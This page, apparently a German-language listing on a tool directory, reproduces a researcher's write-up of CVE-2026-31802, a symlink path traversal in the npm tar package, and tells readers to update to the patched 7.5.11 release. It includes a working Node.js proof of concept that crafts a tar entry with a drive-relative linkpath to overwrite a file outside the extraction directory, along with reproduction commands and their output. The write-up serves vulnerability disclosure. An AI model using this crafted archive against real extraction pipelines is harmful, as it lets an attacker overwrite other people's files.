Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31802 — Proof of Concept und technische Ausarbeitung für CVE-2026-31802, eine Symlink-Pfad-Traversal in npm tar, die das Überschreiben beliebiger Dateien außerhalb des Extraktionsverzeichnisses ermöglicht. | Kitploit
Tools/GitHubGitHub/jvr2022/cve-2026-31802
SchwachstellenanalyseExploitationWebsicherheitLieferkettensicherheit
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Proof of Concept und technische Ausarbeitung für CVE-2026-31802, eine Symlink-Pfad-Traversal in npm tar, die das Überschreiben beliebiger Dateien außerhalb des Extraktionsverzeichnisses ermöglicht.

Repository anzeigen
1118vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31802: tar Symlink-Pfad-Traversal / Beliebige Dateiüberschreibung

Forschung: Joshua van Rijswijk

Beschreibung

Dieses Repository enthält meinen Proof of Concept und meinen Bericht zu CVE-2026-31802, einer Schwachstelle mit hohem Schweregrad im npm-Paket tar (node-tar), die Versionen <= 7.5.10 betrifft.

Ich habe festgestellt, dass tar dazu gebracht werden kann, einen Symlink zu erstellen, der außerhalb des vorgesehenen Extraktionsverzeichnisses zeigt, indem ein laufwerksrelatives Symlink-Ziel wie C:../../../target.txt verwendet wird. In der Praxis ermöglicht dies, während der Extraktion aus cwd auszubrechen und die Archivextraktion in eine beliebige Dateiüberschreibungs-Primitive zu verwandeln.

Der Fehler ist über normales Extraktionsverhalten mit angreiferkontrollierten Tar-Archiven erreichbar.

Hintergrund

Bei der Untersuchung, wie tar die Symlink-Extraktion handhabt, ist mir aufgefallen, dass bestimmte linkpath-Werte während der Bereinigung und Validierung inkonsistent behandelt wurden. Insbesondere laufwerksrelative Pfade wie:

C:../../../target.txt

wurden vor der Verwendung umgeschrieben, aber nicht in derselben Form validiert, in der sie letztendlich gespeichert und angewendet wurden.

Diese Diskrepanz macht den Fehler ausnutzbar.

Grundursache

Die Schwachstelle entsteht dadurch, wie tar manipulierte Symlink-linkpath-Werte während der Extraktion verarbeitet.

Auf hoher Ebene entfernt die Extraktionslogik das Laufwerkspräfix von einem Pfad wie:

C:../../../target.txt

und schreibt ihn um zu:

../../../target.txt

Die Traversal-Sicherheitsprüfung wird jedoch gegen den ursprünglichen Wert vor dem Entfernen durchgeführt, während die Symlink-Erstellung später den umgeschriebenen Wert verwendet.

Das bedeutet, dass ein bösartiges Archiv die Validierung mit einer Form des Pfads bestehen kann, aber dennoch einen Symlink erzeugt, der beim Schreiben auf die Festplatte außerhalb des Extraktionsverzeichnisses traversiert.

Ausnutzungsablauf

Ein bösartiges Archiv kann einen Symlink-Eintrag wie diesen enthalten:

path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

Bei der Extraktion mit normaler Verwendung wie:

tar.x({ cwd, file })

passiert Folgendes:

  1. Das Laufwerkspräfix wird von linkpath entfernt.
  2. Die Escape-Prüfung bewertet weiterhin den ursprünglichen Wert.
  3. Der Eintrag wird akzeptiert.
  4. Der extrahierte Symlink wird mit dem umgeschriebenen Traversal-Pfad erstellt.
  5. Ein späterer Schreibvorgang durch diesen Symlink erreicht eine Datei außerhalb von cwd.

Mit anderen Worten: Die Extraktionslogik validiert einen Wert und verwendet einen anderen. Diese Lücke erzeugt die Traversal-Primitive.

Proof of Concept

Ich habe den folgenden PoC geschrieben, um zu demonstrieren, dass ein extrahierter Symlink dazu gebracht werden kann, außerhalb des Extraktionsstamms zu zeigen und dann verwendet werden kann, um eine Datei außerhalb des Arbeitsverzeichnisses zu überschreiben.

Der PoC:

  • erstellt ../target.txt
  • baut ein bösartiges Tar-Archiv mit einem Symlink-Eintrag bei a/b/l
  • setzt linkpath auf C:../../../target.txt
  • extrahiert das Archiv in das aktuelle Verzeichnis
  • schreibt durch a/b/l
  • bestätigt, dass die externe Datei überschrieben wurde

PoC-Skript:

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Reproduktion

Eine verwundbare Version installieren

npm install [email protected]

Den PoC ausführen

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Beobachtete Ausgabe

PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED bestätigt, dass die Datei außerhalb des Extraktionsverzeichnisses überschrieben wurde.

Die readlink-Ausgabe und die Dateiauflistung zeigen, dass der extrahierte Symlink außerhalb des vorgesehenen Extraktionsstamms zeigt.

Auswirkungen

Dieses Problem gibt einem Angreifer eine beliebige Dateiüberschreibungs-Primitive außerhalb des vorgesehenen Extraktionsverzeichnisses, mit den Berechtigungen des Prozesses, der die Extraktion durchführt.

Realistische Szenarien umfassen:

  • CLI-Tools, die nicht vertrauenswürdige Tarballs in ein Arbeitsverzeichnis extrahieren
  • Build- und Update-Pipelines, die Archive von Drittanbietern verarbeiten
  • Dienste, die benutzergelieferte Tar-Dateien importieren
  • Entwicklerwerkzeuge, die automatisch Pakete oder Artefakte entpacken

In diesen Umgebungen kann ein manipuliertes Archiv Schreibvorgänge außerhalb des Verzeichnisses verursachen, das die Anwendung zu kontrollieren erwartet.

Betroffene Versionen

  • Betroffen: tar <= 7.5.10
  • Gepatcht: tar 7.5.11

Fix

Dieses Problem wurde in 7.5.11 gepatcht.

Benutzer sollten sofort aktualisieren:

npm install tar@^7.5.11

Referenzen

  • GitHub Advisory: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Tool herunterladen